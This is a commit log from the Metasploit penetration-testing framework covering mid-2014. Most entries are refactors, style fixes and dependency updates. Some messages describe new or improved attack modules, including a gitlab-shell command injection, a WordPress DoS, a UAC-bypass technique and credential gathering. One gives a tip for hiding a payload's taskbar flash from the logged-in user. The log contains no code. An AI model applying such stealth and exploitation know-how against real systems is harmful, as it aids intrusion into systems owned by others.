jvazquez-r7 b259e5b464 Update description again 2014-08-07 09:21:25 -05:00
jvazquez-r7 4af0eca330 Update target description 2014-08-07 09:11:01 -05:00
Christian Mehlmauer d6e60453d6 Added Wordpress XMLRPC DoS 2014-08-07 11:38:44 +02:00
Luke Imhoff 1d430dbb45 Run migrations when connection already established in console
MSP-10955

`Msf::Ui::Console::Driver#initialize` doesn't call
`framework.db.connect` if it can't find the the `database.yml`, but when
using `msfpro`, the connection is already established, so the console
doesn't need to know where the database file is and should just run the
migrations so that `framework.db.migrate` can be set and
`framework.db.active` will return `true`.
2014-08-06 19:55:51 -05:00
Luke Imhoff 5af4959558 Merge remote-tracking branch 'upstream/staging/electro-release' into staging/electro-release 2014-08-06 19:54:46 -05:00
Brandon Turner 91bb0b6e10 Merge tag '2014072301' into staging/electro-release
Conflicts:
	Gemfile.lock
	modules/post/windows/gather/credentials/gpp.rb

This removes the active flag in the gpp.rb module.  According to Lance,
the active flag is no longer used.
2014-08-06 15:58:12 -05:00
Luke Imhoff b910dfbf56 Merge remote-tracking branch 'upstream/staging/electro-release' into staging/electro-release 2014-08-06 12:40:07 -05:00
Meatballs 1c6b74467f Land #3618, @byt3bl33d3r's powershell require fix 2014-08-06 18:24:16 +01:00
Spencer McIntyre 2ed02c30a8 Use better variable names instad of an array 2014-08-05 21:34:36 -07:00
Spencer McIntyre b602e47454 Implement improvements based on feedback 2014-08-05 21:24:37 -07:00
kaospunk 48359faaaf Add gitlab-shell command injection module
This request adds a module for gitlab-shell command
injection for versions prior to 1.7.4. This has been
tested by installing version 7.1.1 on Ubuntu and then
using information at http://intelligentexploit.com/view-details.html?id=17746
to modify the version of gitlab-shell to a vulnerable one. This
was done as I could not find a better method for downloading
and deploying an older, vulnerable version of Gitlab.
2014-08-05 23:21:57 -04:00
sinn3r 9b6259e58b Land #3569 - Updated smb_enumshares to support spidering 2014-08-05 20:23:09 -05:00
sinn3r f520616730 This fixes a few things, see commit message for more info
This commit fixes the following:

1. Not handling eval_host()'s nil file return value, which can causes
   a NoMethodError at runtime due to various conditions.
2. Renames datastore option VERBOSE to ShowFiles to pass msftidy
3. Avoids overwriting datastore options directly to pass msftidy
2014-08-05 19:20:11 -05:00
Samuel Huckins 34a42476b2 Merge branch 'master' of github.com:rapid7/metasploit-framework 2014-08-05 16:30:32 -05:00
Samuel Huckins 69e8edf6b2 Bumping ruby patch to proper latest 2014-08-05 11:49:35 -05:00
Luke Imhoff 7013a2755b Favor MSF_DATABASE_CONFIG for paths['config/database']
MSP-10848

Use these locations, in order for
Metasploit::Framework::Application.config.paths['config/database']:

1. MSF_DATABASE_CONFIG environment variable
2. ~/.msf4/database.yml (if it exists)
3. config/database.yml
2014-08-05 10:16:33 -05:00
Luke Imhoff 2818b4e2f2 Merge remote-tracking branch 'upstream/staging/electro-release' into staging/electro-release 2014-08-05 09:11:44 -05:00
Trevor Rosen b769b419ae Merge pull request #3615 from limhoff-r7/bug/MSP-10848/nightly-msfconsole
require 'action_view/railtie' for pro compatibility
2014-08-05 07:56:37 -05:00
byt3bl33d3r 77bba6e4ee fixed msfcli with missing require 2014-08-05 09:38:33 +02:00
Luke Imhoff d56dd318b9 require 'action_view/railtie' for pro compatibility
MSP-10848

Other railties, like jquery-rails, need 'action_view/railtie', but don't
require it themselves, so require it explictly in
`config/application.rb` to prevent msfconsole boot errors.
2014-08-04 20:12:28 -05:00
Luke Imhoff ec5c1c588a Merge pull request #3614 from limhoff-r7/bug/MSP-10848/nightly-msfconsole
# MSP-10848

Add missing require
2014-08-04 19:11:17 -05:00
Luke Imhoff 9c29b78b9a Add missing require
MSP-10848

Not triggered on OSX development machines, only on Linux.
2014-08-04 18:23:25 -05:00
Luke Imhoff 6bc7643475 Merge remote-tracking branch 'upstream/staging/electro-release' into staging/electro-release 2014-08-04 18:06:54 -05:00
Alton Johnson da845c7e89 Changed default VERBOSE option to false. 2014-08-04 18:06:35 -05:00
Jon Hart f25bb735a0 Land #3543, @todb-r7's Rubocop cleanup of MS08-067 2014-08-04 14:35:30 -07:00
sinn3r 1691795901 Land #3598 to electro-release - Refactor sso to use Credential::Creation 2014-08-04 16:31:49 -05:00
Jon Hart b81c7e28f4 Land #3588, @tobd-r7's Fix SpaceBeforeModifierKeyword Rubocop warning 2014-08-04 14:25:03 -07:00
sinn3r 7044dabea1 Land #3600 - GPP Junk Padding Fix 2014-08-04 16:21:57 -05:00
dmaloney-r7 594b0e1abb Merge pull request #3611 from shuckins-r7/bug/MSP-11021/import-reports-attr-fix
Date attrs set after creation in report import
2014-08-04 14:39:56 -05:00
Spencer McIntyre 9cd6353246 Update mqac_write to use the mixin and restore pointers 2014-08-04 12:15:39 -07:00
Samuel Huckins 8fe9ec098e Date attrs set after creation in report import
MSP-11021

* created_at and updated_at are protected against mass-assignment, so
these need to be set after for reports and report artifacts
2014-08-04 14:02:59 -05:00
Spencer McIntyre a523898909 Apply rubocop suggestions for ms_ndproxy 2014-08-04 11:49:01 -07:00
Spencer McIntyre 86e2377218 Switch ms_ndproxy to use the new WindowsKernel mixin 2014-08-04 11:49:01 -07:00
Spencer McIntyre 58d29167e8 Refactor MS11-080 to use the mixin and for style 2014-08-04 11:49:01 -07:00
Spencer McIntyre 6543b08eb4 Support writing a copy of the original token 2014-08-04 11:49:00 -07:00
Spencer McIntyre 4b73ad6f40 Fix guessing the arch with modules specifying an array 2014-08-04 11:49:00 -07:00
Spencer McIntyre 893b9a6e99 Add an open_device function for wrapping CreateFileA 2014-08-04 11:49:00 -07:00
Spencer McIntyre 43a5120696 Cleanup the WindowsKernel mixin 2014-08-04 11:49:00 -07:00
Spencer McIntyre 49837a3ba6 Create a basic WindowsKernel exploit mixin 2014-08-04 11:49:00 -07:00
William Vu f274eb78ac Land #3610, release fixes 2014-08-04 12:40:41 -05:00
Tod Beardsley 4de59ad7d1 Add reasonable description for gnome-commander 2014-08-04 12:35:34 -05:00
jvazquez-r7 ed97751ead Land #2999, @j0hnf's modifiction to check_dir_file to handle file: 2014-08-04 11:55:18 -05:00
jvazquez-r7 cd45ed0e0a Handle exceptions when connecting the SMBHSARE 2014-08-04 11:54:30 -05:00
jvazquez-r7 85b5c5a691 Refactor check_path 2014-08-04 11:48:13 -05:00
jvazquez-r7 1e29bef51b Fix msftidy warnings 2014-08-04 11:46:27 -05:00
jvazquez-r7 04bf0b4ab6 Fix forgotten comma 2014-08-04 11:34:12 -05:00
jvazquez-r7 68d8afc18d Land #3604, @hmoore-r7's [FixRM #8838] smb_lookupsid nil class dereference 2014-08-04 10:38:42 -05:00
Miroslav Stampar c280c2528b Fix gettelnet usability 2014-08-04 12:02:07 +02:00
Joshua Smith 159ce3fbbe Land 3587, add rubocop autoconfig 2014-08-04 01:18:34 -05:00
Joshua Smith 3e3caeb6ee Land 3591, fix post/test/* modules' loadpath
some additional module cleanup here:
SHA: 6884c87cfa
2014-08-04 01:07:35 -05:00
Joshua Smith 6884c87cfa removes IDs/Revisions, resplats test/modules 2014-08-04 01:04:23 -05:00
Joshua Smith f2e4d41697 Land 3607, sqlmap plugin cleanup
after some additional cleanup here:
SHA: a4f2fb218c
2014-08-04 00:12:53 -05:00
Joshua Smith a4f2fb218c adds most rubocop cleanups, not all 2014-08-04 00:11:25 -05:00
Joshua Smith c08b1cb829 uses mult-assign & include? more readable 2014-08-03 23:59:03 -05:00
Joshua Smith 453d19713d Land 3605, hides flash during cmd_psh_payload 2014-08-03 23:45:44 -05:00
Joshua Smith 282633fd9d Land 3606, makefile typo fix for CVE-2013-2465 2014-08-03 23:28:20 -05:00
Joshua Smith 6c2b8f54cf rubocop cleanup, long lines, etc 2014-08-03 23:19:08 -05:00
OJ 2b021e647d Minor tidies to conform to standards 2014-08-03 23:19:08 -05:00
OJ 31c51eeb63 Move error messages to check 2014-08-03 23:19:08 -05:00
OJ cbf15660bf Add some small fixes to the MQAC local exploit
* Check for `INVALID_HANDLE_VALUE` when attempting to open the
  device, as this is what is returned when the device doesn't exist.
* Make sure that we only run the exploit against tartgets that we
  support directly to make sure we don't BSOD machines (such as what
  happens with SP1/SP2).
* Add a call to `check` in the exploit code.
2014-08-03 23:19:08 -05:00
Victor 3fd15d001d Update sqlmap.rb 2014-08-04 04:25:33 +04:00
Victor 2805af2a04 \t error msgs bug and some codestyle tweaks
Minor bugs: `\t` were used inside single quoted strings.
Tweak: `a, b = c` is the same as `a = c[0]; b = [1] if c.length > 1`.
Minor tweak: `qwe if rty` form instead of multiline when `qwe` is only one line long.
Minor tweak: thanks to `#{}` interpolation we can omit `.to_s`.
2014-08-04 04:11:49 +04:00
HD Moore 8cca4d7795 Fix the makefile to use the right directory
Reported by severos on IRC, the current output
class is in the right place, but the makefile
was broken.
2014-08-03 13:38:15 -05:00
Samuel Huckins dd550013ce Merge branch 'bug/MSP-10963/realm-uniqueness' into staging/electro-release 2014-08-02 17:48:40 -05:00
Samuel Huckins 49a91ac5bb Updating metasploit-credential dep to v0.8.6 2014-08-02 17:43:08 -05:00
b00stfr3ak 88f23832e6 Added Time out
For some reason the handler was closing before the command could
complete.  Added the time out from bypassuac and now both psh and exe
work perfectly.
2014-08-02 14:29:42 -07:00
Tom Sellers 693e744da4 Hide icon flash on taskbar during cmd_psh_payload
When 'cmd_psh_payload' is run via 'cmd_exec' on a windows shell that is running in the context of an interactive user an icon will flash very quickly on the user's task bar.  This can be avoided (verified) by adding the /b switch to the start section of the command launcher text.  I have verified that this switch exists from Windows 2000 through Windows 2012 R2.
2014-08-02 15:52:52 -05:00
Tom Sellers 6315710697 Update for most recent PowerShell.rb
This update makes the module compatible with Meatballs' march PowerShell changes mentioned earlier (lines 112/113).  It also includes changes recommended by Timwr and about 2/3 of the issues mentioned by Rubocop.  I didn't make some of the Rubocop changes based on HD's comments in IRC that it was still being tuned to meet the project's requirements.
2014-08-02 15:32:45 -05:00
Tom Sellers 11515fc75c Update core.rb 2014-08-02 15:27:10 -05:00
HD Moore 3bc8d1fee9 See #RM8838. Handle null domain_sid properly
This switches to the local sid if the domain sid is null, even if
the ACTION is set to DOMAIN. This solves the issue identified in

```
[*] 192.168.0.4 PIPE(LSARPC) LOCAL(NAS - 5-21-2272853860-1115691317-1341221697) DOMAIN(WORKGROUP - )
[-] 192.168.0.4 No domain SID identified, falling back to the local SID...
[*] 192.168.0.4 USER=guest RID=501
[*] 192.168.0.4 GROUP=None RID=513
```
2014-08-02 14:25:17 -05:00
Samuel Huckins 95e6599d5b Merge branch 'staging/electro-release' of github.com:rapid7/metasploit-framework into staging/electro-release 2014-08-02 13:55:26 -05:00
us3r777 cd2e225359 Refactored auxilliary jboss_bshdeployer
Switch modules/auxiliary/admin/http/jboss_bshdeployer.rb to use the
changes.
2014-08-02 11:10:49 +02:00
Luke Imhoff 3bd4279038 Update metasploit-credential
MSP-10963
2014-08-02 01:01:53 -05:00
Luke Imhoff d696b5f4e5 Merge pull request #3602 from limhoff-r7/bug/MSP-10998/float-versions
MSP-10998

Remove Msf::Framework::VersionAPI and Msf::Framework::VersionCore
2014-08-02 00:57:11 -05:00
Luke Imhoff c69c06af89 Update metasploit-credential
MSP-10963
2014-08-01 22:05:45 -05:00
Luke Imhoff 3057af773a Merge branch 'bug/MSP-10998/float-versions' into bug/MSP-10963/realm-uniqueness
MSP-10963
2014-08-01 22:04:34 -05:00
Luke Imhoff a37244c14e Fix specs
MSP-10998
2014-08-01 21:55:10 -05:00
Luke Imhoff 6603443df4 Add missing require
MSP-10998
2014-08-01 21:54:41 -05:00
Luke Imhoff 9096a8a1f5 Remove Msf::Framework::VersionAPI
MSP-10998

It's compacting of the version parts into a single float doesn't work
with APIMinor over 10, so replace with Gem::Version, which compares
parts correctly.
2014-08-01 21:43:14 -05:00
Luke Imhoff 22db5aad8a Remove Msf::Framework::VersionCore
MSP-10998

It can't handle 4.10.0 because it tries to compact the multiple part
version into one float using (1 / 10.0).
2014-08-01 21:31:48 -05:00
Samuel Huckins c45728509c Merge branch 'staging/electro-release' of github.com:rapid7/metasploit-framework into staging/electro-release 2014-08-01 20:44:36 -05:00
Luke Imhoff 75dfcb2791 Merge remote-tracking branch 'upstream/staging/electro-release' into staging/electro-release 2014-08-01 20:04:23 -05:00
b00stfr3ak add5cefe17 Change runas method to use lib
Changed runas method to use the new runas lib.  Also did some rubocop
changes.
2014-08-01 17:13:24 -07:00
b00stfr3ak df98098b0c New shell_execute_option command
Also removed upload option
2014-08-01 17:12:04 -07:00
b00stfr3ak 5aa347ef65 Changed Method Names
Changed names to look like shell_execute_(option), to make it more
defined on what it does.
2014-08-01 17:10:32 -07:00
us3r777 a800e7f1ea Merge pull request #1 from jvazquez-r7/work_3540
Work on jboss refactoring
2014-08-02 01:02:53 +02:00
b00stfr3ak 5c2b074264 Matched bypassuac to upstream 2014-08-01 14:40:23 -07:00
b00stfr3ak def652a50e Merge https://github.com/rapid7/metasploit-framework into bypassuac/psh_option 2014-08-01 14:32:55 -07:00
Tod Beardsley c31fc61617 Land #3270, @jlee-r7 deprecation ipv6 payloads
These are not needed, since you can just config the regular handler now
and pick either.

This resolves the conflict (rm'ed the old modules)

Conflicts:
	modules/payloads/stagers/windows/reverse_ipv6_http.rb
	modules/payloads/stagers/windows/reverse_ipv6_https.rb
2014-08-01 16:27:59 -05:00
darkbushido ceaffce727 Merge branch 'pr/3593' into staging/electro-release 2014-08-01 16:01:10 -05:00
David Maloney ab7111120b and all the rest
finally!
2014-08-01 14:54:18 -05:00
David Maloney 4821851ae4 telnet and ssh next 2014-08-01 14:47:08 -05:00
David Maloney 12902b0a6d the refactor continues! 2014-08-01 14:41:03 -05:00
David Maloney b74813b9a1 mysql and pop3 now 2014-08-01 14:30:33 -05:00
jvazquez-r7 73ca8c0f6d Work on jboss refactoring 2014-08-01 14:28:26 -05:00
David Maloney 2e7738c788 http and mssql now 2014-08-01 14:22:58 -05:00
Samuel Huckins 31b7ffe32d Merge branch 'staging/electro-release' of github.com:rapid7/metasploit-framework into staging/electro-release 2014-08-01 13:14:11 -05:00
dmaloney-r7 e6a0e079b6 Merge pull request #3596 from darkbushido/bug/MSP-10937/adding-parent-to-cores-to-credential
.to_credential now assigns a parent
2014-08-01 13:13:48 -05:00
David Maloney 33f73a8af7 refactor db2 2014-08-01 13:00:27 -05:00
David Maloney 439b893fea refactor axislogin 2014-08-01 12:30:16 -05:00
David Maloney 0fffb179fa refactor afp_login 2014-08-01 12:10:52 -05:00
David Maloney c3691ba056 finish refactoring ftp_login 2014-08-01 12:06:13 -05:00
David Maloney db345fcb58 make credential_collection always set private_type 2014-08-01 11:57:35 -05:00
David Maloney a380646667 start refactoring ftp loginscanner 2014-08-01 11:47:13 -05:00
David Maloney 320f032dfe add to_h to result 2014-08-01 11:46:43 -05:00
David Maloney dbde046f44 use to_h instead of to_hash
apparently ruby 2 adds this as a standard method so
we should stay compliant
2014-08-01 09:45:51 -05:00
David Maloney 0e65792f43 Merge branch 'staging/electro-release' into feature/loginscanner-report-dry 2014-08-01 09:41:30 -05:00
Brandon Turner 915e09ac50 Update framework version spec and Gemfile 2014-08-01 09:26:38 -05:00
Meatballs b4111df381 Retab spec 2014-08-01 14:41:20 +01:00
Meatballs 4ef3de84f3 get some more test cases 2014-08-01 14:34:17 +01:00
Meatballs 1fb4216d6d Update spec 2014-08-01 12:08:03 +01:00
Brandon Turner 0ad2a7c89b Bump version to 4.10.0 2014-07-31 23:43:46 -05:00
David Maloney 374c6532fa add to_hash to Credential
begining of the chain to DRYing up
credential reporting in the loginscanner
2014-07-31 18:10:48 -05:00
Meatballs f737108bf7 Land #2551, Runas post library and powershell ask technique 2014-07-31 23:17:31 +01:00
Meatballs 902cf4bc1e Fix var name 2014-07-31 23:16:53 +01:00
Meatballs 90c0f587bf Fix for newer powershell 2014-07-31 23:11:51 +01:00
Meatballs 15c1ab64cd Quick rubocop 2014-07-31 23:11:00 +01:00
Meatballs d336c56b99 Merge remote-tracking branch 'upstream/master' into land_2551 2014-07-31 23:06:37 +01:00
Meatballs e05904c3f3 Land #3597, script/web_delivery powershell fixes 2014-07-31 23:00:31 +01:00
Meatballs bff8a734ae Fix and be Architecture Agnostic 2014-07-31 22:58:43 +01:00
James Lee 62240537db Refactor sso to use Credential::Creation 2014-07-31 16:06:23 -05:00
Spencer McIntyre 5a25120660 Apply rubocop changes to multi/script/web_delivery 2014-07-31 16:16:23 -04:00
Spencer McIntyre 8af4c496c9 Add a missing include and require statement for psh 2014-07-31 16:08:25 -04:00
darkbushido ad6eed01a2 .to_credential now assigns a parent
Metasploit::Credential::Core#to_credential will set the parent to the original core objext
Metasploit::Framework::Credential#to_credential also sets the parent to itself.
2014-07-31 14:52:27 -05:00
Luke Imhoff 7cc5af589f Only require config/application.rb when Rails.application not set
MSP-10964

Allows other Rails::Applications to use the commands.
2014-07-31 13:32:22 -05:00
Luke Imhoff f9ab7f7a88 Only error out if Rails.env differs from options.environment
MSP-10964
2014-07-31 13:28:21 -05:00
Luke Imhoff aa2e26f8f2 Allow RAILS_ENV to override default environment of 'production'
MSP-10964
2014-07-31 13:24:23 -05:00
Samuel Huckins 735687e6a1 Merge branch 'staging/electro-release' of github.com:rapid7/metasploit-framework into staging/electro-release 2014-07-31 12:31:27 -05:00
Luke Imhoff 38c6e2d3e0 Merge remote-tracking branch 'upstream/staging/electro-release' into staging/electro-release 2014-07-31 10:16:00 -05:00
William Vu 0546282441 Land #3590, #3574 reversion 2014-07-31 09:59:04 -05:00
James Lee 6a72572237 Wrap comments at 80 2014-07-31 09:41:08 -05:00
James Lee 735ccda4db Add an example for add-ssh-key 2014-07-31 09:40:36 -05:00
Luke Imhoff 73ed9f89f0 Merge remote-tracking branch 'upstream/staging/electro-release' into staging/electro-release 2014-07-31 08:31:37 -05:00
b00stfr3ak 391e2bb99b Fixed some style changes
Removed upload var, it really served no purpose.
2014-07-30 22:42:07 -07:00
Meatballs 53b66f3b4a Land #2075, Powershell Improvements 2014-07-31 00:49:39 +01:00
James Lee 77d99b7374 Land #3586, fix msfconsole when running without db
Conflicts:
	Gemfile.lock
	metasploit-framework.gemspec
2014-07-30 17:24:21 -05:00
James Lee 1c35ec4271 Land #3585, fix fd leak in pwdump import
Conflicts:
	db/schema.rb
2014-07-30 15:17:27 -05:00
James Lee 23b04c8ece Fix post/test/* modules' loadpath
Allows loading when pwd is not framework's install root
2014-07-30 14:21:42 -05:00
Tod Beardsley 3320a1ef77 Revert PR #3574
This reverts commit 96945442ff.

With this PR, the following now appears in framework.log:

````
[07/30/2014 14:01:37] [e(0)] core: Error updating module details for
auxiliary/fuzzers/http/http_form_field: NoMethodError undefined method
`name' for []:Array
````
2014-07-30 14:06:46 -05:00
Samuel Huckins 1e7ef15923 Merge branch 'staging/electro-release' of github.com:rapid7/metasploit-framework into staging/electro-release 2014-07-30 13:13:08 -05:00
Matt Buck f7aa324c35 Update metasploit-model and metasploit_data_models deps 2014-07-30 13:10:09 -05:00
Trevor Rosen 3e915e5059 Merge branch 'staging/electro-release' into bug/MSP-10715/import-security-issues
Update deps

Conflicts:
	Gemfile
	Gemfile.lock
2014-07-30 12:49:15 -05:00
Samuel Huckins 8a3df99b01 Merge branch 'staging/electro-release' of github.com:rapid7/metasploit-framework into staging/electro-release 2014-07-30 12:36:03 -05:00
Luke Imhoff 14341c68a3 Merge remote-tracking branch 'upstream/staging/electro-release' into staging/electro-release 2014-07-30 12:24:10 -05:00
Trevor Rosen ea72a7e5c3 Merge pull request #3583 from jlee-r7/feature/MSP-9932/creds-add-subcommands
Add `creds` subcommands

MSP-9932 #land
2014-07-30 12:01:36 -05:00
James Lee 85b00eede6 Add #present? checks 2014-07-30 11:52:59 -05:00
James Lee ef59d88f64 Fix spec failure due to workspace mismatch
Also fixes intermittent failure from FactoryGirl picking a heinous
Origin type.
2014-07-30 11:26:35 -05:00
Luke Imhoff e4f665fe72 Require 'active_record/railtie' for specs
MSP-10905
2014-07-30 11:10:02 -05:00
jvazquez-r7 4ed085d0d2 Land #3581, @FireFart's update for W3 Total Cache Hash extract module 2014-07-30 10:45:11 -05:00
jvazquez-r7 674c3ca260 Use [] for references 2014-07-30 10:44:42 -05:00
Tod Beardsley 7bf9d25221 Also remove the offenses from the todo 2014-07-30 10:30:58 -05:00
jvazquez-r7 a79eec84ac Land #3584, @FireFart's update for wp_asset_manager_upload_exec 2014-07-30 10:28:51 -05:00
Tod Beardsley 49e48566da Ignore PercentLiteralDelimiters and WordArray
Per a discussion in IRC, these rules in particular don't
appear to be valuable for Metasploit at this stage.
2014-07-30 10:28:12 -05:00
jvazquez-r7 9de8297848 Use [] for References 2014-07-30 10:28:00 -05:00
jvazquez-r7 313fd6ffab Land #3582, @FireFart's rubocop cleanup for wp_property_upload_exec 2014-07-30 10:24:58 -05:00
jvazquez-r7 58fbb0b421 Use [] for References 2014-07-30 10:24:14 -05:00
Luke Imhoff d7a0c1f3e8 Optionally require 'active_record/railtie` in Rakefile
MSP-10905

Require in Rakefile so that db tasks are defined.  Make it optionally so
that `rake` doesn't error out when metasploit-framework installed with
`bundle install --without db`.
2014-07-30 10:10:20 -05:00
Luke Imhoff ceb8a0f5c2 Extract option require pattern to helper Module
MSP-10905

`Metasplot::Framework::Require.optionally` can be used to optionally
require a library and then issue a warning if the require fails or run a
block when it succeeds.
2014-07-30 10:07:53 -05:00
Trevor Rosen d863ff907e Merge pull request #3576 from dmaloney-r7/feature/MSP-9641/cred-rpc-calls
Feature/msp 9641/cred roc calls

MSP-9641 #land
2014-07-30 09:40:38 -05:00
Anwar Mohamed 8766faa14e Merge pull request #4 from jvennix-r7/anwar-android-bins
Rebuilt Android bins, remove store_loot calls
2014-07-30 13:07:53 +02:00
Joe Vennix ed6594ddb8 Change filename to calllog_dump. 2014-07-30 00:16:23 -07:00
Joe Vennix ece3b5583a Revert to file-based solution. 2014-07-30 00:13:44 -07:00
Joe Vennix c52b72830a Merge branch 'android_ext2' of github.com:AnwarMohamed/metasploit-framework into anwar-android-bins 2014-07-29 23:58:42 -07:00
Samuel Huckins be18dddac7 Merge branch 'staging/electro-release' of github.com:shuckins-r7/metasploit-framework into staging/electro-release 2014-07-29 20:50:05 -05:00
HD Moore 318418a90b Lands #3589, adds rhost:rport to vmware fingerprint 2014-07-29 18:50:53 -05:00
jvazquez-r7 1fe459eb42 Add info to know where the info comes from 2014-07-29 18:47:40 -05:00
OJ f3e8c51573 Merge rubocop changes from Kernelsmith 2014-07-30 08:35:57 +10:00
Tod Beardsley adf03e28ce Fix SpaceBeforeModifierKeyword Rubocop warning
This also deals with some errant tabs where internal spaces should be,
as well as one syntax error which was preventing an old meterpreter
script from ever working correctly.

Some day, we need to get rid of those Meterpeter scripts. Srsly.
2014-07-29 17:10:54 -05:00
Tod Beardsley 1e47383118 Add .rubocop_todo.yml 2014-07-29 16:54:19 -05:00
Tod Beardsley 4871492ec1 Tidy up .rubocopy.yml
This alphabetizes the configuration for rubocop.yml and preps for a
rubocop auto-config so we're not constantly hit with warnings.
2014-07-29 16:48:49 -05:00
Luke Imhoff 1a6d4843c7 Merge branch 'staging/electro-release' into bug/MSP-10905/msfconsole-database
MSP-10905
2014-07-29 15:52:11 -05:00
Luke Imhoff a77ca325ea Merge remote-tracking branch 'upstream/staging/electro-release' into staging/electro-release 2014-07-29 15:51:48 -05:00
Luke Imhoff ba4891bca0 Restore Rails.groups arguments
MSP-10905

They don't cause a problem.
2014-07-29 15:50:52 -05:00
Trevor Rosen 8fda4ee239 Fix fd leak and blind IO#gets in pwdump import
MSP-10715
2014-07-29 15:15:47 -05:00
Luke Imhoff f5ff22eba4 msfconsole with bundle install --without db
MSP-10905
2014-07-29 14:46:44 -05:00
Luke Imhoff 38da44c26b Fix arity difference between rails and msfconsole options
MSP-10905
2014-07-29 14:32:42 -05:00
Luke Imhoff 04541ac724 Parse msfconsole options before initializing Rails
MSP-10905
2014-07-29 14:07:14 -05:00
Luke Imhoff 8e7dd1b658 Add missing require
MSP-10905
2014-07-29 14:06:27 -05:00
Luke Imhoff 9a5085cbba Prevent circular dependency
MSP-10905

Use Metasploit::Framework::Version directly instead of
Msf::Framework to prevent circular dependency when starting msfconsole.
2014-07-29 14:04:15 -05:00
Luke Imhoff 24a5a155f4 Require gems
MSP-10905
2014-07-29 14:02:56 -05:00
Christian Mehlmauer 75057b5df3 Fixed variable 2014-07-29 21:02:15 +02:00
jvennix-r7 0876302fba Merge pull request #3580 from dmaloney-r7/bug/MSP-10869/credential-parent
Credential Parent References
2014-07-29 14:00:59 -05:00
Luke Imhoff 539817fddb Add metasploit-model as a direct dependency
MSP-10905

Metasploit::Model constants need to be accessible without the db group
installed.
2014-07-29 13:55:56 -05:00
Christian Mehlmauer cc3285fa57 Updated checkcode 2014-07-29 20:53:54 +02:00
Christian Mehlmauer 61ab88b2c5 Updated wp_asset_manager_upload_exec module 2014-07-29 20:53:18 +02:00
Christian Mehlmauer e438c140ab Updated wp_property_upload_exec module 2014-07-29 20:34:34 +02:00
Christian Mehlmauer 3d2a62bc29 Updated W3 Total Cache Hash extract module 2014-07-29 19:49:48 +02:00
James Lee 1ee32b3b98 Bump metasploit-model so we can use Realm::Key map 2014-07-29 12:19:03 -05:00
David Maloney 78a3263cfe have Credentials remember their aprents
a Credential object can be created from several
other types of objects. Keep a reference to the originating
'parent' so we can find our way back
2014-07-29 11:20:52 -05:00
AnwarMohamed c2be3d6875 fixing autoload bug 2014-07-29 17:51:56 +02:00
James Lee ef7f5fe967 Make metasploit-model a direct dep
Needed for all the scanners that use Metasploit::Model::Realm::Key
constants.
2014-07-29 10:30:46 -05:00
AnwarMohamed b02dbcc2e7 remove extra whitespace 2014-07-29 16:23:27 +02:00
AnwarMohamed 7512e04894 fixing autoload 2014-07-29 16:21:31 +02:00
jvazquez-r7 820ea7e50b Land #3577, @FireFart's update for wordpress foxypress module 2014-07-29 09:10:07 -05:00
AnwarMohamed 6bbb2124a7 bug fixing 2014-07-29 15:49:14 +02:00
us3r777 d6c7eb8850 Fixed a typo introduced in commit 9e92448 2014-07-29 09:04:12 +02:00
Joe Vennix 27444e61ef Merge branch 'android_ext2' of github.com:AnwarMohamed/metasploit-framework into anwar-android-bins 2014-07-28 21:30:04 -07:00
Joshua Smith e00d892f99 rubocop cleanup, long lines, etc 2014-07-28 22:04:45 -05:00
us3r777 2efeb850ee Added spec to lib/msf/http/jboss 2014-07-29 02:04:57 +02:00
us3r777 9e9244830a Added spec for lib/msf/http/jboss
Also renamed get_undeploy_bsh and get_undeploy_stager to
gen_undeploy_bsh and gen_undeploy_stager to be consistent
with the other functions
2014-07-29 01:57:04 +02:00
William Vu 0208420a67 Land #3565, GNOME Commander post module 2014-07-28 17:28:36 -05:00
William Vu f4bd44d9c6 Fix outstanding issues 2014-07-28 17:28:15 -05:00
David Bloom a904ed8507 Update gnome_commander_creds.rb 2014-07-28 22:49:13 +02:00
David Bloom b121bf6d6c Update gnome_commander_creds.rb 2014-07-28 22:46:50 +02:00
Christian Mehlmauer 621e85a32d Correct version 2014-07-28 22:45:04 +02:00
Christian Mehlmauer d334797116 Updated foxpress module 2014-07-28 22:23:22 +02:00
David Maloney 3870b59873 remove rpg_get_auth_info
this is an rpc call that calls a method that
does not even exist...
WAT?!
2014-07-28 15:13:03 -05:00
David Maloney c9d231b48b remove old rpc methods
added rpc methods to create new creds
removing the old methods for
the obsolete cred models
2014-07-28 14:52:53 -05:00
David Maloney e29b2aed9b add credential rpc calls 2014-07-28 14:49:35 -05:00
James Lee 49d0fc37c2 Add support for different realm_key 2014-07-28 14:39:24 -05:00
William Vu ba7d8efb07 Land #3574, has_actions.rb cleanup 2014-07-28 12:59:33 -05:00
William Vu d85b081809 Land #3575, nessus_xmlrpc_ping service state fix 2014-07-28 12:55:36 -05:00
Christopher Truncer 7129108c58 Fixed status in MSF db for Nessus 2014-07-28 13:49:24 -04:00
Luke Imhoff 533d0be2fb Merge remote-tracking branch 'upstream/staging/electro-release' into staging/electro-release 2014-07-28 12:12:45 -05:00
David Maloney 1e32574768 Merge branch 'staging/electro-release' into feature/MSP-9641/cred-rpc-calls 2014-07-28 11:10:59 -05:00
jvazquez-r7 79fe342688 Land #3558, @FireFart's improvements to wordpress mixin 2014-07-28 09:52:20 -05:00
jvazquez-r7 2d5fd5e0d5 Use constant for WORDPRESS_VERSION_PATTERN 2014-07-28 09:22:50 -05:00
James Lee c65db18090 Add rudimentary specs and fix some help wording 2014-07-28 09:19:09 -05:00
jvazquez-r7 b061d24b84 Favor & over and 2014-07-28 09:05:53 -05:00
cx 7247f8879b Empty line fix
Details:
* Empty line fix added to each_user_pass function
2014-07-28 12:50:41 +03:00
AnwarMohamed 283046b25d fixing auto load on new session 2014-07-28 10:49:50 +02:00
Joe Vennix 173381b205 Merge branch 'android_ext2' of github.com:AnwarMohamed/metasploit-framework into anwar-android-bins 2014-07-27 23:04:03 -07:00
AnwarMohamed 9f0bf67521 fixing minor bugs 2014-07-28 07:49:46 +02:00
Joe Vennix 2b46e76e85 Recompiled again. 2014-07-27 22:23:26 -07:00
Joshua Smith 96945442ff removes unnec. retruns & uses of 'not' - has_actions.rb 2014-07-27 18:20:12 -05:00
Joe Vennix ae1f498aae Check in new android binaries. 2014-07-27 13:22:12 -07:00
James Lee 1931024c86 Bump credential version for #to_s fixes 2014-07-27 14:08:39 -05:00
James Lee a35e7371bb Add simple tabbing for creds command 2014-07-27 14:08:38 -05:00
James Lee b8bb4c7bc0 Add add-ssh-key to help output, fix some warnings 2014-07-27 13:46:38 -05:00
James Lee a38a627b94 Merge branch 'staging/electro-release' into feature/MSP-9932/creds-add-subcommands 2014-07-27 13:38:33 -05:00
cx 5679a72aa8 Added Fixes mentioned by jhart-r7
Details:
* res && res.body fix
  * empty return removed
* vprint added/changed
